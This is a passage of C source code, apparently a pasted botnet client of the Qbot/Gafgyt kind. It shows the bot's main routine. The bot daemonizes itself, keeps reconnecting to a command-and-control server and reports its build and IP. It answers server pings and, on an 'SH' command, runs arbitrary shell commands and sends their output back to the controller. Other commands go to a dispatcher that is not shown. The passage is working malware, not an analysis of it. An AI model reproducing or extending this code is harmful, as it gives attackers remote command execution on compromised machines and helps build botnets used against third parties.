  3637. }
  3638. }
  3639. else fclose(file);
  3640. }
  3641. else fclose(file);
  3642. }
  3643.  
  3644. getOurIP();
  3645.  
  3646. if (pid1 = fork()) {
  3647. waitpid(pid1, &status, 0);
  3648. exit(0);
  3649. } else if (!pid1) {
  3650. if (pid2 = fork()) {
  3651. exit(0);
  3652. } else if (!pid2) {
  3653. } else {
  3654. zprintf("fork failed\n");
  3655. }
  3656. } else {
  3657. zprintf("fork failed\n");
  3658. }
  3659.  
  3660. setsid();
  3661. chdir("/");
  3662.  
  3663. signal(SIGPIPE, SIG_IGN);
  3664.  
  3665. while(1)
  3666. {
  3667. if(initConnection()) { sleep(30); continue; }
  3668.  
  3669. sockprintf(mainCommSock, "BUILD %s:%s", getBuild(), inet_ntoa(ourIP));
  3670.  
  3671. char commBuf[4096];
  3672. int got = 0;
  3673. int i = 0;
  3674. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  3675. {
  3676. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  3677. unsigned int *newpids, on;
  3678. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  3679. pids[on - 1] = 0;
  3680. numpids--;
  3681. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  3682. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  3683. free(pids);
  3684. pids = newpids;
  3685. }
  3686.  
  3687. commBuf[got] = 0x00;
  3688.  
  3689. trim(commBuf);
  3690.  
  3691. if(strstr(commBuf, "PING") == commBuf)
  3692. {
  3693. sockprintf(mainCommSock, "PONG");
  3694. continue;
  3695. }
  3696. if(strstr(commBuf, "DUP") == commBuf){
  3697. dupthing++;
  3698. zprintf("PEACE OUT IMMA DUP\n");
  3699. if(dupthing > 20){
  3700. exit(0);
  3701. }
  3702. break;
  3703. }
  3704.  
  3705. unsigned char *message = commBuf;
  3706.  
  3707. if(*message == '!')
  3708. {
  3709. unsigned char *nickMask = message + 1;
  3710. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  3711. if(*nickMask == 0x00) continue;
  3712. *(nickMask) = 0x00;
  3713. nickMask = message + 1;
  3714.  
  3715. message = message + strlen(nickMask) + 2;
  3716. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  3717.  
  3718. unsigned char *command = message;
  3719. while(*message != ' ' && *message != 0x00) message++;
  3720. *message = 0x00;
  3721. message++;
  3722.  
  3723. unsigned char *tmpcommand = command;
  3724. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  3725.  
  3726. if(strcmp(command, "SH") == 0)
  3727. {
  3728. unsigned char buf[1024];
  3729. int command;
  3730. if (listFork()) continue;
  3731. memset(buf, 0, 1024);
  3732. szprintf(buf, "%s 2>&1", message);
  3733. command = fdpopen(buf, "r");
  3734. while(fdgets(buf, 1024, command) != NULL)
  3735. {
  3736. trim(buf);
  3737. sockprintf(mainCommSock, "%s", buf);
  3738. memset(buf, 0, 1024);
  3739. sleep(1);
  3740. }
  3741. fdpclose(command);
  3742. exit(0);
  3743. }
  3744.  
  3745. unsigned char *params[10];
  3746. int paramsCount = 1;
  3747. unsigned char *pch = strtok(message, " ");
  3748. params[0] = command;
  3749.  
  3750. while(pch)
  3751. {
  3752. if(*pch != '\n')
  3753. {
  3754. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  3755. memset(params[paramsCount], 0, strlen(pch) + 1);
  3756. strcpy(params[paramsCount], pch);
  3757. paramsCount++;
  3758. }
  3759. pch = strtok(NULL, " ");
  3760. }
  3761.  
  3762. processCmd(paramsCount, params);
  3763.  
  3764. if(paramsCount > 1)
  3765. {
  3766. int q = 1;
  3767. for(q = 1; q < paramsCount; q++)
  3768. {
  3769. free(params[q]);
  3770. }
  3771. }
  3772. }
  3773. }
  3774. }
  3775.  
  3776. return 0;
  3777. printf("client exiting");
  3778. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement